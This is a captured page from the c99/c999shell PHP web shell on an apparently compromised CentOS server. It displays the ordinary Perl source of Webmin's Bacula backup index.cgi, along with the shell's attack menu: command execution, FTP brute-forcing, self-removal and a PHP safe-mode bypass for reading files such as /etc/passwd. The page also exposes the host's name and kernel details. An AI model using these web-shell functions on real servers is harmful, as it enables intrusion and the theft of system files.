!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/bacula-backup/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.cgi (6.1 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show the Bacula main menu

require './bacula-backup-lib.pl';
$hsl = &help_search_link("bacula", "man", "doc", "google");

# Make sure it is installed
$err = &check_bacula();
if ($err) {
    &ui_print_header(undef, $module_info{'desc'}, "", "intro", 1, 1, 0,
             $hsl);
    print &ui_config_link('index_echeck', [ $err, undef ]),"<p>\n";
    &ui_print_footer("/", $text{'index'});
    exit;
    }

if (&has_bacula_dir()) {
    # Test DB connection
    eval { $dbh = &connect_to_database(); };
    if ($@) {
        $err = $@;
        &ui_print_header(undef, $module_info{'desc'}, "", "intro",
                 1, 1, 0, $hsl);
        print &ui_config_link('index_edb', [ $err, undef ]),"<p>\n";
        &ui_print_footer("/", $text{'index'});
        exit;
        }
    $dbh->disconnect();
    }

# Test node group DB
if (&has_bacula_dir() && &has_node_groups()) {
    $err = &check_node_groups();
    if ($err) {
        &ui_print_header(undef, $module_info{'desc'}, "", "intro",
                 1, 1, 0, $hsl);
        print &ui_config_link('index_eng', [ $err, undef ]),"<p>\n";
        &ui_print_footer("/", $text{'index'});
        exit;
        }
    }

# Get the Bacula version, and check it
$ver = &get_bacula_version();
&ui_print_header(undef, $module_info{'desc'}, "", "intro", 1, 1, 0,
         $hsl, undef, undef,
         ($ver ? &text('index_version', $ver)."<br>" : undef).
         &text('index_ocmin', 'images/ocmin.gif',
               'http://www.linmin.com/'));
if ($ver && $ver < 1.36) {
    print &text('index_eversion', 1.36, $ver),"<p>\n";
    &ui_print_footer("/", $text{'index'});
    exit;
    }

# Make sure bconsole works
if (&is_bacula_running("bacula-dir")) {
    # Check hostname in console config
    $conconf = &get_bconsole_config();
    $condir = &find("Director", $conconf);
    $conaddr = &find_value("Address", $condir->{'members'});
    if (!&to_ipaddress($conaddr) && !&to_ip6address($conaddr)) {
        # Offer to fix hostname
        print &text('index_econsole2',
            "<tt>$console_cmd</tt>", "<tt>$conaddr</tt>"),"<p>\n";
        print &ui_form_start("fixaddr.cgi");
        print &ui_form_end([ [ "fix", $text{'index_fixaddr'} ] ]);
        &ui_print_footer("/", $text{'index'});
        exit;
        }

    # Test run bconsole
    local $status;
    eval {
        local $h = &open_console();
        $status = &console_cmd($h, "version");
        &close_console($h);
        };
    if ($status !~ /Version/i) {
        # Nope .. check if there is a password mismatch we can fix
        print &text('index_econsole',
            "<tt>$console_cmd</tt>",
            "<tt>$config{'bacula_dir'}/bconsole.conf</tt>"),"<p>\n";
        $dirconf = &get_director_config();
        $dirdir = &find("Director", $dirconf);
        $dirpass = &find_value("Password", $dirdir->{'members'});
        $conpass = &find_value("Password", $condir->{'members'});
        if ($dirpass && $conpass && $dirpass ne $conpass) {
            # Can fix!
            print &ui_form_start("fixpass.cgi");
            print &ui_form_end([ [ "fix",
                           $text{'index_fixpass'} ] ]);
            }
        &ui_print_footer("/", $text{'index'});
        exit;
        }
    }

# Show director, storage and file daemon icons
if (&has_bacula_dir()) {
    print &ui_subheading($text{'index_dir'});
    @pages = ( "director", "clients", "filesets", "schedules",
           "jobs", "pools", "storages" );
    &show_icons_from_pages(\@pages);
    }
if (&has_bacula_sd()) {
    print &ui_subheading($text{'index_sd'});
    @pages = ( "storagec", "devices" );
    if (!&has_bacula_dir() || $config{'showdirs'}) {
        push(@pages, "sdirectors");
        }
    &show_icons_from_pages(\@pages);
    }
if (&has_bacula_fd()) {
    print &ui_subheading($text{'index_fd'});
    @pages = ( "file" );
    if (!&has_bacula_dir() || $config{'showdirs'}) {
        push(@pages, "fdirectors");
        }
    &show_icons_from_pages(\@pages);
    }

# Show icons for node group operations
if (&has_bacula_dir() && &has_node_groups()) {
    print &ui_subheading($text{'index_groups'});
    @pages = ( "groups", "gjobs", "gbackup", "sync" );
    @links = map { "list_${_}.cgi" } @pages;
    @titles = map { $text{"${_}_title"} } @pages;
    @icons = map { "images/${_}.gif" } @pages;
    &icons_table(\@links, \@titles, \@icons);
    }

if (&has_bacula_dir()) {
    # Show icons for actions
    print &ui_hr();
    print &ui_subheading($text{'index_actions'});
    if (&is_bacula_running("bacula-dir")) {
        @actions = ( "backup", "dirstatus", "clientstatus",
                 "storagestatus", "label", "poolstatus", "mount",
                 "restore" );
        @links = map { "${_}_form.cgi" } @actions;
        @titles = map { $text{"${_}_title"} } @actions;
        @icons = map { "images/${_}.gif" } @actions;
        &icons_table(\@links, \@titles, \@icons);
        }
    else {
        print "<b>$text{'index_notrun'}</b><p>\n";
        }
    }

print &ui_hr();

# See what processes are running
print "<b>$text{'index_status'}</b>\n";
foreach $p (@bacula_processes) {
    print "&nbsp;|&nbsp;\n" if ($p ne $bacula_processes[0]);
    print $text{'proc_'.$p}," - ";
    if (&is_bacula_running($p)) {
        print "<font color=#00aa00><b>",$text{'index_up'},
              "</b></font>\n";
        $pcount++;
        }
    else {
        print "<font color=#ff0000><b>",$text{'index_down'},
              "</b></font>\n";
        }
    }
print "<p>\n";
print &ui_buttons_start();
if ($pcount > 0) {
    if (!$config{'apply'}) {
        print &ui_buttons_row("apply.cgi",
                  $text{'index_apply'}, $text{'index_applydesc'});
        }
    if (&has_bacula_dir()) {
        # Only show restart button if we are running the director, as
        # for others the apply does a restart
        print &ui_buttons_row("restart.cgi",
              $text{'index_restart'}, $text{'index_restartdesc'});
        }
    print &ui_buttons_row("stop.cgi",
              $text{'index_stop'}, $text{'index_stopdesc'});
    }
if ($pcount < scalar(@bacula_processes)) {
    print &ui_buttons_row("start.cgi",
              $text{'index_start'}, $text{'index_startdesc'});
    }

# See what is started at boot
if (&foreign_installed("init")) {
    &foreign_require("init", "init-lib.pl");
    $status = &init::action_status($bacula_inits[0]);
    if ($status) {
        print &ui_buttons_row("bootup.cgi",
                  $text{'index_boot'}, $text{'index_bootdesc'},
                  undef,
                  &ui_yesno_radio("boot", $status == 2 ? 1 : 0));
        }
    }

print &ui_buttons_end();

&ui_print_footer("/", $text{'index'});

sub show_icons_from_pages
{
local ($pages) = @_;
local @links = map { $_ eq "director" || $_ eq "file" || $_ eq "storagec" ?
            "edit_${_}.cgi" : "list_${_}.cgi" } @$pages;
local @titles = map { $text{"${_}_title"} } @$pages;
local @icons = map { "images/${_}.gif" } @$pages;
&icons_table(\@links, \@titles, \@icons);
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0097 ]--